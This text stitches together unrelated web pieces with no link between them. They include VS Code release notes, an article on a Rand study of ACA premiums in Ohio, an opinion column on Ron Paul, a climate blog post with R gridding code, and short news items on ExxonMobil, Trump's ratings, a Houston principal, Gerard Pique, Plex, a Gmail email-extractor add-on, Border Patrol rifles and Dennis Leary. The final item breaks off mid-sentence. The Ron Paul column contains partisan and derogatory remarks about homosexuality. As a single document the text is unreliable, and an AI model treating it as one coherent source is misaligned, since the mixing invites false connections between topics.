Decorations are a fundamental editor concept on which numerous features are built; for example: find matches highlights, diff annotations, word highlights, selection highlights, breakpoints, folding markers, and inline colors. Moreover, numerous extensions make use of decorations to customize the rendering of VS Code's editor. Below is a screenshot with various editor decorations highlighted:  PR #36410 reimplements editor decorations as a delta-encoded Interval Tree (an augmented Red-Black tree). Besides reducing the time spent in all operations related to decorations (creating, updating, deleting or querying), the change also brings in some impressive memory usage savings. As an immediate result of these optimizations, we have increased the in-file on type find limit from 1,000 matches to 20,000 matches.  Windows start-up  We are always on the lookout for ways to improve VS Code start-up time. During the last month, we made a variety of improvements that significantly decreased the time of the initial (cold) launch of VS Code.  Extension Authoring  Configuration: Listen to specific changes  Now Configuration change event provides a ConfigurationChangeEvent object that has a method affectsConfiguration to check about configuration changes. You can also check if a configuration has changed for a resource.  export interface ConfigurationChangeEvent { affectsConfiguration(section: string , resource?: Uri): boolean ; }  Async Input Box validation  The showInputBox function now supports asynchronous validation. Call showInputBox like so:  vscode.window.showInputBox({ async validateInput(value) { return await someLongRunningOperation(value); } });  Folder icons in File Icon Themes  File Icon themes can now disable the default folder icon (the rotating triangle) in tree views and use the folder icons to indicate the expansion state:  To do so, File Icon themes must specify "hidesExplorerArrows":true in the File Icon theme definition file. Thanks to Ari for the PR.  New Context: resourceExtname  There is a new context key to control keybindings and menu items. Its name is resourceExtname and its value will be the extension of the file in question.  New workspace.name property  A new workspace.name property was added that provides (readonly) access to the name of the workspace. The name will be undefined if no workspace is opened.  SCM: New menu: scm/change/title  Along with the new SCM inline change review, a new contributable menu context is now available: scm/change/title . It allows you to contribute commands to the header of an inline change review view.  Terminal: Setting environment  You can now set the environment of terminal instances launched via the extension API:  window .createTerminal({ name: 'My session' , shell: 'zsh' , env: { JAVA_HOME: '' } });  Command debug.logToDebugConsole is deprecated  With the introduction of a proper vscode.debug.console.append(...) API in the October release, it is no longer necessary to use the debug.logToDebugConsole command to append text to the debug console. Due to that we are deprecating the debug.logToDebugConsole command and plan to drop support for it in the future. If it is difficult for you to move off this feature, please speak up by commenting here.  Note: Currently this API is proposed, so in order to use it you must opt into it by adding a "enableProposedApi": true to package.json and you'll have to copy the vscode.proposed.d.ts into your extension project. Also be aware that you cannot publish an extension to the Marketplace that uses the enableProposedApi attribute.  Command vscode.startDebug has been removed  As announced in the previous release, we have finally removed support for the vscode.startDebug command.  Command vscode.workbench.customDebugRequest has been removed  As announced in the previous release, we have finally removed support for the vscode.workbench.customDebugRequest command.  Debug contributions in package.json  Activation event onDebug:type has been removed  As announced in the previous release, we have finally removed support for the onDebug:type activation event.  Using debuggers.startSessionCommand in package.json has been removed  As announced in the previous release, we have finally removed support for the startSessionCommand command.  Using command with debuggers.initialConfigurations in package.json is deprecated  As announced in the previous release, we have finally removed support for the initialConfigurations command.  Updated documentation and mock-debug example  With this release, most of the command based debug API has been replaced by the proper API available through vscode.d.ts . Consequently, we have updated both the documentation for debug extensions and the underlying mock-debug example for the new APIs.  New commands  Key Command Command id Open quick file picker with the second entry selected by default workbench.action.quickOpenPreviousEditor Open a folder as workspace in a new window workbench.action.openFolderAsWorkspaceInNewWindow Remove a root folder from the workspace workbench.action.removeRootFolder Focus Problems workbench.action.problems.focus Focus Variables workbench.debug.action.focusVariablesView Focus Watch workbench.debug.action.focusWatchView Focus CallStack workbench.debug.action.focusCallStackView Focus Breakpoints workbench.debug.action.focusBreakpointsView  Notable Changes  22523: Touch support in editor tabs (scrolling, open, context menu)  35527: macOS High Sierra: parts of the UI not rendering  36122: Windows: window on secondary monitor does not restore at exact position  36695: Workspace doesn't restores itself on re-opening Code in Ubuntu 17.10 GNOME  Thank You  Last but certainly not least, a big Thank You! to the following folks that helped to make VS Code even better:  Contributions to language-server-protocol :  Contributions to vscode-languageserver-node :  Contributions to vscode-node-debug2 :  Contributes to vscode-chrome-debug :  Contributes to vscode-chrome-debug-core :  @digeff: Fix site.js appearing in the call stack instead of site.ts PR #246  Contributes to vscode-extension-samples :  Contributes to vscode-recipes :  Contributes to vscode-extension-vscode :  Contributions to localization :  This is the seventh month since we opened community localization in Transifex. We now have nearly 500 members in the Transifex VS Code project team. We appreciate your contributions, either by providing new translations, voting on translations, or suggesting process improvements.  Here is a snapshot of top contributors for this release. For details about the project including the contributor name list, visit the project site at https://aka.ms/vscodeloc.
-WASHINGTON, D.C. -- Ohioans who buy their own health insurance should see an average out-of-pocket savings on premiums of 21 percent because of taxpayer subsidies under the Affordable Care Act, according to a new study by the Rand Corp., a widely respected think tank.  Without the health care law, Ohioans who bought individual policies would pay $3,973, on average, in premiums in 2016, the study shows. But the subsidies, or tax credits, will bring the individuals’ costs down to $3,131.  These people will buy their insurance through a computerized marketplace, or “exchange,” where insurers will compete for business.  The study, done for the U.S. Department of Health and Human Services, covered ten states that together were considered representative of the nation. A number of its findings are likely to please supporters of the health care law, known widely as Obamacare.  But the study also somewhat supports a claim by Ohio Lt. Gov. Mary Taylor, an Obamacare critic who leads the state Department of Insurance. Taylor said in early August that the Affordable Care Act will drive up premiums by an average of 41 percent . She based this on rates that insurers submitted to the state for policies to be sold on the exchange in 2014.  This was for the same kind of policies studied by Rand: those bought by individuals who don’t have employer-provided coverage and who in 2014 will buy their policies on the exchange.  Taylor’s figure did not account for buyer subsidies, nor for the wide variety of policies that are now available, some with deductibles of $10,000 and even $25,000, that will no longer be sold. Obamacare will require a change in coverage for many, with more exams and medical conditions covered, and will eliminate some of the high-deductible, bare-bones policies now sold and used in Taylor’s comparison.  Figures from the Rand study suggest that on price hikes, Taylor was correct in theory -- if excluding these key factors -- but that her numbers were off.  Without factoring in subsidy offsets and the policies that people are likely to buy, premiums for individual policies in Ohio will average $5,312 in 2016, according to figures from Rand. That’s 34 percent higher than the average for individual premiums without Obamacare, Rand’s figures show.  But that, too, is a high estimate that does not factor what kind of coverage people will actually buy on the exchange (there’s a choice of four levels of coverage -- bronze, silver, gold and platinum), the actuarial value of that coverage and how age and tobacco use will play into premiums and choices. Insurers have had to weigh this for their rate-setting calculations.  Christine Eibner, a senior Rand economist and lead author of the study, told us in a telephone interview this afternoon that she considers this is a realistic way of comparing premiums. It compares premiums for coverage people will get on the exchange with coverage they have or would have had without Obamacare.  Based on that calculation, the average premium for individual policies in Ohio would rise by $900, or 22.65 percent. That's nearly half of Taylor’s unweighted calculation.  The price hike would be offset for many Ohioans by the taxpayer subsidy.  Either way, here’s how costs would break down on average in 2016 under the Rand analysis: The policy buyer would pay $3,131 in annual premiums. Another $2,181 would come from a tax credit, paid for by the act’s taxes, fees and offsets.  Tax credit eligibility will be determined by income, phasing out after 400 percent of the poverty level. Some 67 percent of exchange enrollees in Ohio will be eligible, Rand found. By 2016, 9.9 percent of Ohio’s non-elderly population will be enrolled, the study estimated.  This is likely to boost business for insurers, Rand data suggest. Fifteen percent of non-elderly Ohioans are now uninsured, and that will go down to 6.2 percent by 2016, the study estimated.  Nearly 63 percent of those expected to enroll in Ohio would not have had insurance without the Affordable Care Act, Rand said.
-(image The Dallas Voice)  This should come as a shock to absolutely nobody: oil giant ExxonMobil's shareholders have once again voted down a proposal that would have provided employment discrimination protections to the company's LGBT employees.  The Dallas Voice reports on the outcome of ExxonMobil's yearly shareholders meeting in downtown Dallas:  Shareholders voted to reject a resolution, 81 percent to 19 percent, from the New York state comptroller calling for the company’s Board of Directors to add sexual orientation and gender identity/expression to the oil giant’s EEO policy. The 19 percent support for the resolution reportedly was the lowest ever. George Wong addressed the shareholders on behalf of the New York State Common Retirement Fund. He presented the business argument that the company should recruit from and retain the widest possible talent pool. Failure to do that leads to less efficient business operations. Most Fortune 500 companies do have inclusive nondiscrimination policies including most other major oil companies, he said. During general comments, no one else supported the nondiscrimination proposal.  ExxonMobil has the lowest score ever received by a company in the Human Rights Campaign's Corporate Equality Index, meriting a -25 rating for rescinding LGBT discrimination protections and cancelling domestic partner health benefits when Exxon acquired Mobil in 1999. Other oil companies, such as Chevron, BP, Shell and Spectra, have received scores of 85 or higher.  Last week, Freedom to Work, an LGBT rights organization that focuses on employment issues, filed a complaint with the Illinois Department of Human Rights alleging that the company engages in discriminatory hiring practices. In its piece on the complaint, the Huffington Post explained the suit's basic argument:
-Should Ron Paul win the Iowa Caucuses, the media narrative is the Republican Party establishment will go scorched earth on the quirky libertarian Texas Congressman, just as they did Pat Buchanan back in the day.  But unlike that successful kamikaze mission of yesteryear, this one won’t work. In fact, if the Republican Party establishment chooses to go down that road they might just propel Paul to the nomination.  That’s because Ron Paul isn’t Pat Buchanan, and the environment this go-around is dramatically different than it was back then for two reasons.  First of all, Paul’s campaign apparatus is dramatically superior to anything Buchanan ever had. His Iowa Caucus campaign is a well-oiled machine, and the envy of the entire process. They’re running the best commercials. They’re the best organized. They’re the most loyal. And look beyond Iowa, too. Paul wins straw polls all over the country, including CPAC and even at the 2011 Values Voters Summit. I know several of these people who are the masterminds of Paul’s organization, and these folks don’t put their phasers on stun when it comes to their opponents and know what they’re doing. They’re not kooks, they’re sharp cookies and losing is not an option in their strategy. They have no problem burning down the entire system, because they distrust it anyway.  Buchanan still needed the system. He still needed jobs on cable news networks or help publishing/selling his books and columns. Paul isn’t running to reform the system. He’s running to reboot it. Buchanan has never had an organization this good. In fact, no insurgent candidate in modern American political history has had an organization this professional and well-funded.  Second, voter angst and anger towards Washington and Republicrats in general is at an all-time high. In 2004 the voters gave George W. Bush and the Republicans control of Washington. In 2006 they made Nancy Pelosi Speaker of the House. In 2008 they made Barack Obama President of the United States. In 2010 they fired over 700 Democrats running for re-election around the country. Meanwhile, marriage continues to remain undefeated at the ballot box whenever pro-homosexual activists attempt to challenge it, but at the same time the American people seem content with normalizing homosexual behavior in popular culture.  That’s a schizophrenic swing of energy and emotion in less than one decade. In just six years the American people voted for a quasi-socialist welfare state they didn’t want to have to pay for, and a return to Judeo-Christian moral values they themselves don’t want to be accountable to.  That tells me the American people are looking for someone – literally anyone – to show some leadership on the issues. Voters aren’t satisfied after trying both parties’ milquetoast ruling class, and are looking to drain the swamp.  Enter Ron Paul.  Paul has already been heavily vetted. He’s a national figure, who has run for president several times and has been running for the last five years. His quirks are known. His positions are known. Believing the American people will not vote for someone who wants to return us to 1789, is like believing the American people will never vote for someone who wants us to look like West Germany circa 1978 when they just did.  We are a confused people. We know what we’re supposed to be and supposed to look like, and yet we have no idea for how to get there. We lack the spiritual and moral foundation to rebuild the wall, if you will. Minus a Nehemiah showing the way, a civilization will either choose one of two paths—self-indulgence and ultimately self-destruction, or hit the control-alt-delete button in order to start over again.  The liberals represent the former, and Paul and his libertarian brigade represent the latter.  Desperate times call for desperate measures. Make no mistake—voters are desperate. Therefore, trying to give Paul the Buchanan treatment will actually entrench Paul’s support all the more, because voters don’t trust the source of the attacks. It’s impossible to underestimate how little regard the American people have for political parties, and the Republicrat ruling class and its crony capitalism. They will see Buchanan-type attacks against Paul as the system trying to defend its indefensible self, and rally to him all the more. Folks are much angrier and desperate then they were during Buchanan’s presidential runs. Thus, the crankier and crazier Paul sounds the more they’ll love him. He’ll be getting attacked by all the people they can’t stand and don’t trust.  The peasants want to storm the Bastille, and in many respects the philosophy Paul is espousing of individualized liberty for the sake of self is right out of the French Revolution—so it fits the mood of the country perfectly.  This brings us to how to defeat Paul.  Paul is a man with powerful ideas, some very good and some very bad. If human history has taught us one thing it’s that bad powerful ideas can only be defeated by good powerful ideas.  Instead of trying to cram milquetoast flip-floppers down voters’ throats, the Republican Party needs to champion candidates who have good powerful ideas about how to return to the roots of the American Revolution—which begins with the premise individuals have liberty and rights from God alone, and the role of government is to protect those God-given rights and then get out of the way to allow liberty to flourish.  The more Rudy McRomneys the Republican Party serves up, the more popular someone like Paul will become. Frustrated voters will use Paul as a blunt instrument, or maybe even a sharp object, to attack a failed system with.  The Republicrats deserve Ron Paul. The ruling class created the Ron Paul phenomenon by its own actions. And the more they persist in being tone-deaf to voters’ angst, the more likely they are to suffer at his hands.  And as much as I disagree with Paul, I’d choose him over the Republicrat ruling class any day of the week, and twice on Sunday.
-Update I had made an error in coding for the HADCRUT/C&W example - see below. The agreement with C&W is now much improved.  I have fixed the which.min error here too; it made little difference).  level Numcells Simple average Nested average 1 1 32 0.3292 0.3292 2 2 122 0.3311 0.3311 3 3 272 0.3275 0.3317 4 4 482 0.3256 0.3314 5 5 1082 0.3206 0.3317 6 6 1922 0.3167 0.332 7 7 3632 0.311 0.3313 8 8 7682 0.3096 0.3315  HADCRUT and Cowtan/Way  UpdateI had made an error in coding for the HADCRUT/C&W example - see code. I had used which.min instead of which.max. This almost worked, because it placed locations in the cells on the opposite side of the globe, consistently. However, the result is now much more consistent with C&W. With refining, the integrals now approach from below, and also converge much more tightly.  The nested integration makes even more difference than C&W, mainly in the time from 1995 to early 2000's. Otherwise, a A  Trend 1997-2012 Trend 1980-2012 HAD 4 0.462 1.57 Hier1 0.902 1.615 Hier2 0.929 1.635 Hier3 0.967 1.625 Hier4 0.956 1.624 C&W krig 0.97 1.689  which would agree very well with the nested results  Update: Kevin Cowtan has explained the difference in a comment below.  Method and Code  monthave=array(NA,c(12,33,8)) #array for monthly averages datapointer=gridpointer=cellarea=list(); g=0; for(i in 1:8){ # making pointer lists for each grid level g0=g; # previous g g=as.matrix(hexmin[[i]]$cells); ng=nrow(g); cellarea[[i]]=g[,4] if(i>1){ # pointers to coarser grid i-1 gp=rep(0,ng) for(j in 1:ng)gp[j]=which.max(g0[,1:3]%*%g[j,1:3]) gridpointer[[i]]=gp } y=inv; ny=nrow(y); dp=rep(0,ny) # y is list of HAD grid centres in 3D cartesian for(j in 1:ny) dp[j]=which.max(g[,1:3]%*%y[j,]) datapointer[[i]]=dp # datapointers into grid i }  Update: Note the use of which.max here, which is the key instruction locating points in cells. I had originally used which.min, which actually almost worked, because it places ponts on the opposite side of the globe, and symmetry nearly makes that OK. But not quite. Although the idea is to minimise the distance, that is implemented as maximising the scalar product.  for(I in 1:33)for(J in 1:12){ # looping over months in data from 1980 if(J==1)print(Sys.time()) ave=rep(NA,8) # initialising #tab=data.frame(level=ave,Numcells=ave,average=ave) g=0 for(K in 1:8){ # over resolution levels ave0=ave integrand=c(had[,,J,I+130]) # Set integrand to HAD 4 for the month area=cellarea[[K]]; cellsum=cellnum=rep(0,length(area)) # initialising dp=datapointer[[K]] for(i in 1:n){ # loop over "stations" ii=integrand[i] if(is.na(ii))next # no data in cell j=dp[i] cellsum[j]=cellsum[j]+ii cellnum[j]=cellnum[j]+1 } j=which(cellnum==0) # cells without data gp=gridpointer[[K]] if(K>1)for(i in j){cellnum[i]=1;cellsum[i]=ave0[gp[i]]} ave=cellsum/cellnum # cell averages Ave=sum(ave*area)/sum(area) # global average (area-weighted) if(is.na(Ave))stop("A cell inherits no data") monthave[J,I,K] = round(Ave,4) # weighted average } }# end I,J  Data  In my previous post , I introduced the idea of hierarchical, or nested gridding. In earlier posts, eg here and here , I had described using platonic solids as a basis for grids on the sphere that were reasonably uniform, and free of the pole singularities of latitude/longitude. I gave data files for icosahedral hexagon meshes of various degrees of resolution, usually proceeding by a factor of two in cell number or length scale. And in that previous post, I emphasised the simplicity of a scheme for working out which cell a point belonged by finding the nearest centre point. I foreshadowed the idea of embedding each such grid in a coarser parent, with grid averaging proceeding downward, and using the progressive information to supply estimates for empty cells.The following graph from HADCRUT illustrates the problem. It shows July 2017 temperature anomalies on a 5°x5° grid, with colors for cells that have data, and white otherwise. They average the area colored, and omit the rest from the average. As I often argue, as a global estimate, this effectively replaces the rest by the average value. HADCRUT is aware of this, because they actually average by hemispheres, which means the infilling is done with the hemisphere average rather than global. As they point out, this has an important benefit in earlier years when the majority of missing cells were in the SH, which was also behaving differently, so the hemisphere average is more eappropriate than global. On the right, I show the same figure, but this time with my crude coloring in (with Paint) of that hemisphere average. You can assess how appropriate the infill is:A much-discussed paper by Cowtan and Way 2013 noted that this process led to bias in that the areas thus infilled tended not to have the behaviour of the average, but were warming faster, and this was underestimated particularly since 2000 because of the Arctic. They described a number of remedies, and I'll concentrate on the use of kriging. This is a fairly elaborate geostatistical interpolation method. When applied, HADCRUT data-based trends increased to be more in line with other indices which did some degree of interpolation.I think the right way to look at this is getting infilling right. HADCRUT was on the right track in using hemisphere averages, but it should be much more local. Every missing cell should be assigned the best estimate based on local data. This is in the spirit of spatial averaging. The cells are chosen as regions of proximity to a finite number of measurement points, and are assigned an average from those points because of the proximity. Proximity does not end at an artificial cell boundary.In the previous post, I set up a grid averaging based on an inventory of about 11000 stations (including GHCN and ERSST) but integrated not temperature but a simple function sin(latitude)^2, which should give 1/3. I used averaging omitting empty cells, and showed that at coarse resolution the correct value was closely approximated, but this degraded with refinement, because of the accession of empty cells. I'll now complete that table using nested integration with hexagonal grid. At each successive level, if a cell is empty, it is assigned the average value of the smallest cell from a previous integration that includes it. (The simple average shows that there is an optimum; a grid fine enough to resolve the (small) variation, but coarse enough to have data in most cells. The function is smooth, so there is little penalty for too coarse, but a larger one for too fine, since the areas of empty cells coincides with the function peak at the poles. The merit of the nested average is that it removes this downside. Further refinement may not help very much, but it does no harm, because a near local value is always used.The actual coding for nested averaging is quite simple, and I'll give a more complete example below.Cowtan and Way thankfully released a very complete data set with their paper, so I'll redo their calculation (with kriging) with nested gridding and compare results. They used HADCRUT 4.1.1.0, data ending at end 2012. Here is a plot of results from 1980, with nested integration of the HADCRUT gridded data at centres (but on a hex grid). I'm showing every even step as hier1-4, with hier4 being the highest resolution at 7682 cells. All anomalies relative to 1961-90..The HADCRUT 4 published monthly average (V4.1.1.0) is given in red, and the Cowtan and Way Version 1 kriging in black.s with C&W, it adheres closely to HADCRUT in earlier years, when presumably there isn't much bias associated with the missing data. C&W focussed on the effect on OLS trends, particularly since 1/1997. Here is a table, in °C/Century:Convergence is very good to the C&W trend I calculate. In their paper, for 1997-2012 C&W give a trend of 1.08 °C/Cen (table III). C&W used ARMA(1,1) rather than OLS, but the discrepancy seems too large for that.This is the code for the integration of the monthly sequence. I'll omit the reading of the initial files and the graphics, and assume that we start with the HADCRUT 4.1.1.0 gridded 1980-2012 data reorganised into an array had[72,36,12,33] (lon,lat,month,year). The hexmin[[]] lists are as described and posted previously. The 4 columns of $cells are the cell centres and areas (on sphere). The first section is just making pointer lists from the anomaly data into the grids, and from each grid into its parent. If you were doing this regularly, you would store the pointers and just re-use as needed, since it only has location data. The result is the gridpointer and datapointer lists. The code takes a few seconds.The main data loop just loops over months, counting and adding the data in each cell (using datapointer); forming a cell average. It then inherits from the parent grid values (for empty cells) from the parent average vector using gridpointer to find the match, so at each ave is complete. There is an assumption that the coarsest level has no empty cells. It is then combined with area weighting (cellarea, from hexmin) for the monthly average. Then on to the next month. The result is the array monthave[month, year, level] of global averages.Moyhuhexmin has the hex cell data and was given in the earlier post. I have put a new zipped ascii version here
-You talkin' about me? Well I'm the only one watching this. Oh yeah? Okay.  Donald Trump never ceases to check the TV ratings. So, read 'em and weep, Donnie.  Compared to President Barack Obama's first address in 2009, Trump's early ratings are down by 17 percent.  The audience that did tune in was heavily Republican, but the approval ratings were also down.  While the 57% who said they had a very positive reaction to Trump's speech outpaces the marks received by his predecessor for any of his recent State of the Union addresses, they fell below the reviews either Barack Obama or George W. Bush received for either of their initial addresses to Congress. In 2009, 68% had a very positive reaction to Obama, while 66% gave Bush very positive reviews in 2001.  So Trump’s audience was off by 17 percent and the approval rating from that shrunken audience was down by 11 percent. What have people said about things like this in the very, very recent past?  x Wow, the ratings are in and Arnold Schwarzenegger got "swamped" (or destroyed) by comparison to the ratings machine, DJT. So much for.... — Donald J. Trump (@realDonaldTrump) January 6, 2017  Time for a little editing.  Wow. the ratings are in and Donald Trump got “swamped” (or ass-kicked) by comparison to the ratings machine, Barack Obama. So much for being a reality TV star.  Though you know what’s going to show up in Trump’s Twitter instead: “Fake News! Everyone watched and it was the biggest audience ever. Everyone loved it. They told me so!”
-Update 3 p.m. October 6, 2017: Principal Bertie Simmons was told in a meeting with her supervisor Jorge Arredondo this afternoon that she is suspended for another week and that the investigation into her performance is being expanded. *See below for more details.  Dr. Bertie Simmons, the longtime and much-acclaimed principal of Furr High School in the Houston Independent School District, has been sent home – apparently in large part as a result of a disagreement she had with higher-ups over the use of school uniforms.  Karen Taylor, a friend of the 83-year-old Simmons, said the former Principal of the Year had told the district that gang activity seemed to be increasing at the school – evidenced by the increasing display of gang colors by students – and that she wanted to stop or at least slow it down by requiring uniforms. “She was saying that Lamar and other schools use uniforms and she really needs them.”  Continue Reading  Instead she was told by her superiors that HISD does not want to expand the use of uniforms and her request was denied, Taylor said.  Also included in the letter sent to Simmons by the district was a reference to Simmons allegedly threatening a student with a bat, as reportedly observed by a teacher. For years, Simmons has referred to getting a bat in some form as a joke. Again, Simmons is 83 years old and, well, remarkably short.  “It’s always been a joke since she’s been at Furr that when she walks up to a student and someone says something to her that’s joking, she says, ‘Oh, don’t make me get my bat.’”  Asked for a statement, the HISD press office responded with this:  "The Principal at Furr High School in the Houston Independent School District has been temporarily relieved of duties due to a personnel matter. We cannot provide specific details out of respect for the privacy of the individuals involved. Administrators from Central Office are working closely with the school community and the campus leadership team to ensure there is no disruption to student learning."  Taylor said she believes there is jealousy at work in the attack on Simmons, who has been frequently highlighted in local and national media for her ability to turn around Furr High School. There is a famous true story about her negotiating a deal with warring gangsters at her school that if they behaved for the rest of the school year, she’d take them to New York City to prove 9/11 happened. And she did just that, including having the group take in a Broadway show.  More recently she headed up a yearlong effort by the school that successfully secured a $10 million grant in a national contest from Lauren Powell Jobs, widow of Steve Jobs, for Furr. Taylor said HISD officials had told Simmons the money should be spread around the district, which she didn’t want to do. And when she contacted the organizers of The Super School Project, she was told that unless the entire grant amount went to Furr, Taylor said, there wouldn’t be any money forthcoming.  Simmons's attorney, Scott Newar, sent a letter to Carranza today in which he denied the allegations made by  Dr. Jorge Arredondo, HISD’s East Area Superintendent, in a memo to Simmons. According to Arredondo's memo: " Dr. Simmons “failed to adhere to the district’s decision to relax student dress code for the first semester and…verbally threatened students with a baseball bat.”  Here's the letter Simmons's attorney sent to Carranza:  Taylor also said that most teachers at Furr are very upset about what’s happened to Simmons and wanted to show their support, but were warned by the administration that there should be no such demonstrations.  We attempted to contact Simmons directly but she was not immediately available, on the advice of her attorney.  Updated, 4:30 p.m.: Bertie Simmons says she doesn't understand why the district has done this. "I don't know why, what I've done or haven't done."  "All I can say is I love these students, and clearly the district doesn't love me. I've just been in shock because last Friday when they ushered me off campus and gave me that letter, I was just shocked." Simmons said she had a hearing with a hearing officer on Tuesday and thought it went well. "I'm energized by this. When I see something is wrong I get energized," she said. "I'm ready to go now. I'm ready to fight I'm ready to do whatever to make things right. Because this is obviously wrong."  Updated 3 p.m. October 6, 2017: Scott Newar, the attorney Bertie Simmons has engaged in this matter, said today that they are weighing their response to the latest move by the district. "They are continuing their investigation of Bertie. Now the investigation has expanded from these bogus allegations of a threat with a baseball bat and a violation of the relaxed uniform policy to investigating her for unstated issues involving her administration of Furr High School.  "They have an internal auditor out at the school district continuing a sort of witch hunt against her and this is going to go on for the next week at least," Newar said.  Her friend Karen Taylor also sent this letter to Superintendent Carranza:
-Barcelona centre-back Gerard Pique could miss up to 12 matches for the club after a foul tirade of abuse against an assistant referee.  With Barcelona 1-0 up in the second leg of the Spanish Super Cup, the 28-year-old was sent off, ending the chance of a famous come-back - they had been down 4-0 to Athletic Bilbao after the first leg.  The Spanish international lost his head after the assistant failed to flag an offside call in the 55th minute.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  "I s*** on your w**** of a mother", he angrily told the linesman before he was dragged away by team-mates.  Abusing an official will land Pique with a minimum of a four game suspension, meaning he would miss the fixtures against Athletic Bilbao, Levante, Malaga and a massive trip to Atletico Madrid in early September.  The Spanish football association (LFP) could suspend him for up to 12 matches for the offence.  Pique was also involved in an incident (above) with an offical a week earlier, after he was elbowed by Sevilla striker Ciro Immobile in the Super Cup.  In English, Pique said "f***'s sake, mate, six refs and nobody sees it?"  Keep up to date with all the latest news with expert comment and analysis from our award-winning writers
-Well, it looks like you love having trailers in Plex! Thanks so much for all the kind words and great feedback. We’re thrilled to bring you some most excellent enhancements, less than two weeks after our original launch of the feature. Let’s dive in and explore the new stuff! First of all, we’ve massively improved our algorithm for picking appropriate and related trailers when using Cinema Trailers. We now take content rating into account for both library and “new and upcoming” trailers, so your kids won’t be subjected to an R-rated trailer before The Little Mermaid, for example. You also have complete control over where your Cinema Mode trailers come from—you can even pick multiple sources!  Many of you also requested better localization, and we’re happy to report that “new and upcoming” trailers are now also chosen based on your library language whenever possible.  Next up, by popular request, you can now automatically get “red band” (restricted audiences) trailers for your R- and NC-17-rated movies when available. You can find this preference in the agent settings, and you’ll need to force refresh your library to get those trailers.  You can also enable Cinema Trailers on a per-library basis in the library settings. Because hey, if you’re like us, you may not want Cinema Trailers before your collection of cat videos.  Last, but not least, we’ve added another requested feature, the ability to specify a custom “pre-roll” video to follow Cinema Trailers. You can use it to roll your favorite THX video (try not to blow out your speakers, please), a short PSA telling your family to stop texting during the movie, or that one clip of your dog catching a frisbee in his teeth. The video has to be in a Plex library, and using it is as easy as copying and pasting the URL into the pre-roll setting (an advanced setting on the Extras page).  The new release is available right now for Plex Pass members from our downloads page, and full release notes are available here. Barkley is still proud to be sporting his Plex collar, which of course includes a bottle opener. Best. Invention. Ever.
-Acme Widgets Inc. has been in business for over 10 years and they have exchanged emails with thousands of customers and suppliers. The email messages are archived neatly in Gmail but most of the email addresses aren’t stored in Google Contacts. The company is now shifting office and they need to inform everyone via email of the office move.  The big task ahead is to extract all these email addresses from the Gmail mailbox and download them in a format, like CSV, that can be easily imported into the Google address book or a mailing list service like MailChimp.  Introducing Email Address Extractor, a Google add-on that sifts through all email messages in your Gmail account, extracts the email addresses and saves them in a Google Spreadsheet. It works for both Gmail and Google Apps accounts.  The Extractor can mine email addresses from a particular Gmail folder (label) or the entire mailbox. You can choose to extract emails of the sender, the recipient(s) and those in the CC list. The add-on can also parse the email‘s subject and message body for email addresses. This is useful for extracting addresses from generic senders, like PayPal emails or contact forms, where the email addresses are contained in the message body.  How to Extract Email Addresses in Gmail  You may follow the step-by-step guide or watch the video tutorial on YouTube (download) to get started:  Install the Gmail Extractor add-on and grant the necessary permissions. The add-on needs access to your Gmail and also to Google Drive for saving the email list inside a Google Spreadsheet. Go to the addons menu inside the Google Spreadsheet, choose Email Address Extract and click Start to launch the extractor addon. Specify the search criteria and all emails that match the rule will be parsed by the extractor. You may use any of the Gmail Search operators to filter messages. Next select the fields (to, from, cc, bcc) that should be parsed for extracting emails (screenshot). The add-on can also pull names of the sender and recipients if they are available inside the message header.  Click the “Start” button and the extractor will start pulling emails into the spreadsheet. The entire process may take some time depending up on the size of your Gmail mailbox.  Gmail Extractor FAQ  The Google sheet should remain open and the computer should be online during the extraction. If the connection is lost, or if the extraction process is interrupted for some reason, you can simply click the “Resume” button and the extractor will pick from where it left off earlier.  If you go back to Gmail, you’ll find a new label called Extracted. This keeps tracks of the emails that have been processed and can safely delete this label after all the email address have been parsed and extracted.  The Google Spreadsheet created by Email Extractor add-on has two sheets – All Emails & Unique Emails. The first sheet includes every single email found in your Gmail account while the second sheet is a cleaned up list sans any duplicate emails. This is the sheet you should use for building your address book.  The free version of the add-on is fully featured but it would only extract addresses from up to 500 email threads (a thread contains multiple email messages). The premium version (link) imposes no such restriction and it entitles you to 90 days of complimentary support.  Internally, it is a Google Script that uses the magic of Regular Expressions to pull email addresses from Gmail. The extracted email addresses are saved in a Google spreadsheet that can be used as input for sending personalized email messages through Gmail Mail Merge.  Also see: Schedule Emails in Gmail for Sending Later
-US Border Patrol agents along certain sectors of the US-Mexico border are sharing rifles after malfunctions and quality concerns on their Colt brand M4s lead to many being pulled.  As a result, agents in sectors like Tucson, Arizona, are passing the same set of M4 carbines from one set of hands to another from shift to shift.  According to News 4 Tucson, the Border Patrol’s Tucson Sector union president Art del Cueto said: “The problem is they are now using pool guns so what happens instead of having their individual ones they have sighted in they’re having to use a pool weapon…[and they] don’t know who used it [prior or how it is sighted in].”  Jeff Prather is a former DEA agent “who now runs the Warrior School in Tucson.” He said the rifle shortage exacerbates the difficulties of a situation where the cartel were already better armed than Border agents. He said: “Cartels have always been better equipped, the paramilitary forces, the corrupt Mexican soldiers and federales at times.”  Prather also expressed concern that the removal of the rifles might be “politically motivated.”  Follow AWR Hawkins on Twitter @AWRHawkins Reach him directly at awrhawkins@breitbart.com.
-Dennis Leary firefighters show to tackle 9/11 conspiracy theories Ron Brynaert  Published: Thursday December 4, 2008  Print This Email This Dennis Leary, famous for his biting, sarcastic comedy and his religious chain smoking, revealed to a fan at a Los Angeles book signing that his critically acclaimed FX show "Rescue Me" about NYC firefighters will tackle 9/11 conspiracy theories in the coming season.  "When asked by a hesitant fan as to whether or not the actor thought there should be a reinvestigation into the events leading up to and surrounding the 9/11 tragedy, Leary's eyes lit up as he revealed that conspiracy and reinvestigation into 9/11 are, in fact, major plot lines in the first 10 episodes of Rescue Me season 5, set to premiere in April 2009 for a 22-episode run on FX," Erin Broadley reported for LA Weekly.  Broadley continues, "But when another fan pushed it too far and asked Leary's personal opinion about the conspiracy surrounding Building 7's collapse, the actor and author was quick with his response. 'You guys don't want to get into that with me,' Leary said, suddenly serious as he explained that he 'knew several of the guys who had been there working to hold that building up.' Leary then paused, politely changed the subject and returned to meeting fans."  Writing for conspiracy site Prison Planet, Paul Joseph Watson complains, "The L.A. Weekly failed to report what happened at the end of the conversation. After the question about Building 7, security thugs stepped in, blocked the camera and proceeded to kick the protagonists out of the bookstore. There was no hostility or impoliteness on the part of the 9/11 truthers, but apparently Leary’s security thinks it necessary to 